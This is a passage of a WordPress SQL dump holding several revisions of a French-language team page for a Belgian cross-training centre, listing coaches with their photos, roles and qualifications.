Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:44:26', '2013-07-03 19:44:26', '', 20, 'http://www.crosstrainingcenter.be/?p=247', 0, 'revision', '', 0),
(248, 1, '2013-07-03 19:47:43', '2013-07-03 19:47:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting Formateur coach&lt;/h5&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:47:43', '2013-07-03 19:47:43', '', 20, 'http://www.crosstrainingcenter.be/?p=248', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(249, 1, '2013-07-03 19:48:41', '2013-07-03 19:48:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:48:41', '2013-07-03 19:48:41', '', 20, 'http://www.crosstrainingcenter.be/?p=249', 0, 'revision', '', 0),
(250, 1, '2013-07-03 19:51:00', '2013-07-03 19:51:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\n\r\nFormateur coach\r\n\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	